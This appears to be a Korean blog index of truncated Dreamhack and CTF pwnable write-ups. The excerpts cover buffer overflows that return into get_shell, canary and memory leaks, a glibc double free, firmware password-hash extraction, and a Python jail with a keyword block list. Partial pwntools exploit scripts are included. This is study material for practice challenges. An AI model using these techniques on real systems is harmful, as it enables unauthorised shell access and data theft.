anonymous?

CTF pwnable python으로 검색해보니..N-CTF 2019에서 출제된 Python Jailbreak 문제와 유사했다.def filter_code(user_input): # You cannot use those words. banned_word=['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'sh', 'break', 'mro', 'cat', 'flag'] for i in range(0,len(banned_word),1): x=banned_word[i] if x in user_input: return False return True현재 13가지가 block된 상황..

SYSTEM HACKING/Dreamhack 2025. 7. 24. 22:39

일단 IDA로 보면 스택 구조를 알 수 있다.name 부분은 read로 0xA만 입력받기 때문에 영향을 받지 않고, v5부터 넣는 부분이 scanf를 사용하기 때문에 BOF가 발생한다.구조는 rbp-0x30으로 어떤 스택 구조인지 알 수 있다.근데 check에서 길이 검증을 하긴 하는데, \x00으로 길이를 0xF로 제한하는 것을 우회하면 된다.local에서는 정상적으로 쉘이 따짐하지만 get_shell의 시작주소를 그대로 주면 remote에서 쉘이 안 따지는 문제가 있는데..return address를 덮는 주소를 stack을 설정하는 push rbp move rbp, rsp 이후로 설정해봤다. (stack align 문제가 있을 수 있다고 해서)정상적으로 remote에서 진짜 플래그를 얻을 수 있었다.

SYSTEM HACKING/Dreamhack 2025. 7. 7. 22:32

코드 분석int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ char buf[32]; // [rsp+0h] [rbp-130h] BYREF char s1[10]; // [rsp+20h] [rbp-110h] BYREF __int16 v5; // [rsp+2Ah] [rbp-106h] int v6; // [rsp+2Ch] [rbp-104h] char v7[240]; // [rsp+30h] [rbp-100h] BYREF _QWORD v8[2]; // [rsp+120h] [rbp-10h] BYREF v8[1] = __readfsqword(0x28u); strcpy(s1, "ifconfig"); s1[9] = ..

SYSTEM HACKING/Dreamhack 2025. 4. 21. 12:26

취약점 분석ifstream 객체의 read는 C언어의 read 함수와 동일함. null byte를 추가하지 않으면 memory leak이 가능하다. read_buffer[64], flag[64]로 연속되게 할당된다.IDA로 확인해보면 readbuffer, flag, writebuffer가 연속되게 위치하는 것을 알 수 있다.만약 readbuffer를 null byte 없이 64byte를 꽉 채운다면, 출력 시 연이은 flag까지 출력할 수 있는 취약점이 있다. 익스플로잇 코드from pwn import *context.log_level='debug'p = remote('host3.dreamhack.games', 12914)def read_file(): p.sendlineafter(b'[*] inpu..

SYSTEM HACKING/Dreamhack 2025. 4. 21. 12:15

메모리 보호기법 확인canary가 있다.  정적 분석// Name: chall.c// Compile: gcc -Wall -no-pie chall.c -o chall ; strip chall#include #include #include struct person_t { char nationality[32]; char name[56]; double height; int age; char male_or_female[4];};void get_shell() { execve("/bin/sh", 0, 0);}void read_input(char *ptr, size_t len) { ssize_t readn; readn = read(0, ptr, len); if (read..

SYSTEM HACKING/Dreamhack 2025. 3. 30. 14:08

binwalk 설치 sudo apt-get install binwalk Unpacking the binary firmware /w Binwalk binwalk -Me Firmware_challenge.bin binwalk 명령어의 -Me 옵션을 사용하여 펌웨어를 추출한다. /etc/shadow 파일 확인 그 다음 디렉토리를 둘러보면서 /etc/shadow 파일을 열어봤다. dream 계정만 패스워드가 설정되어있어서, 이 부분을 유심히 확인했다. $Algorithm$salt$encrypt_password 형태로 저장되어있으며, MD5 알고리즘을 사용하여 암호화되었다. 그래서 여러 온라인 decrypt 도구를 사용해서 plaintext를 얻어봤는데 flag 단서를 얻었을 때에도 복호화가 잘 안 되었는지 계속..

SYSTEM HACKING/Dreamhack 2024. 3. 5. 01:40

#!/usr/bin/python from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process("./r2s") p = remote('host3.dreamhack.games', 17569) p.recvuntil(b'Address of the buf: ') buf = int(p.recvuntil('\n'), 16) log.info(b'printf: ', hex(buf)) distance = 96 # canary leak payload = b'B'*(0x60-0x8)+b'A' p.sendafter(b'Input: ', payload) #gdb.attach(p) p.recvuntil(b'A') canary = u64(b'\x00..

SYSTEM HACKING/Dreamhack 2024. 3. 3. 01:56

GLIBC란? GNU system과 GNU/Linux 시스템의 핵심 라이브러리를 제공하는 GNU C 라이브러리 ptmalloc2 구조 (GLIBC 2.29) - Double Free 검증 tcache_entry 구조체 // GLIBC 2.29 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; GLIBC 2.26과 다르게, GLIBC 2.29에서는 tcache_put, tcache_get 함수에 Double Free 취약점을 검증하는 코드가 추가되었다. GLIBC 2.26에서는..

SYSTEM HACKING/Exploit Tech 2024. 3. 2. 14:25

취약점 분석(정적 분석) IDA로 디스어셈블 하여 스도코드 확인 int __fastcall main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); printf("Input: "); __isoc99_scanf("%s", v4); return 0; } 스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다. 따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다. PIE가 없어서 get_shell 함수 ..

SYSTEM HACKING/Dreamhack 2024. 3. 1. 21:42

🔍 코드 분석 int __cdecl main(int argc, const char **argv, const char **envp) { char v4[20]; // [esp+0h] [ebp-18h] BYREF int v5; // [esp+14h] [ebp-4h] v5 = 1; initialize(); printf("Name: "); read_str(v4, 20); printf("Are you baby?"); if ( v5 ) { puts("Ok, chance: "); read(0, v4, 20); } else { get_shell(); } return 0; } |v4(0x18)|v5(0x4)|SFP|RET| v5이 0이면 get_shell 함수 실행되어서 쉘 얻을 수 있음. 근데 v5=1로 설정되어 있기 ..

SYSTEM HACKING/Dreamhack 2024. 2. 19. 16:15

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rbp __int64 v5; // [rsp-98h] [rbp-98h] signed int v6; // [rsp-18h] [rbp-18h] signed __int16 v7; // [rsp-14h] [rbp-14h] __int64 v8; // [rsp-8h] [rbp-8h] __asm { endbr64 } v8 = v3; init(); v6 = 'ac/.'; v7 = 116; sub_4010D0(); sub_401130("%144s", &v5); read_cat((__int64)&v8, (__int64)&v6); sub_4010D0(); return 0; } |v..

SYSTEM HACKING/Dreamhack 2024. 2. 16. 21:38

사전지식 chunk size - fast chunk: 32~128byte - small chunk: = 1024byte free된 청크를 관리하는 bin - Fastbin : 해제된 chunk가 fastbinsY에서 관리될 경우 해제된 Heap과 크기 동일하게 할당 - Unsorted bin : 해제된 chunk가 unsorted bin에서 관리되는 small, large chunk인 경우, 해제된 Heap의 크기와 같거나 작은 크기를 할당 - small bin: small chunk 관리 - large bin: large chunk 관리 풀이과정 int __fastcall __noreturn main(int argc, const char **argv, c..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 21:38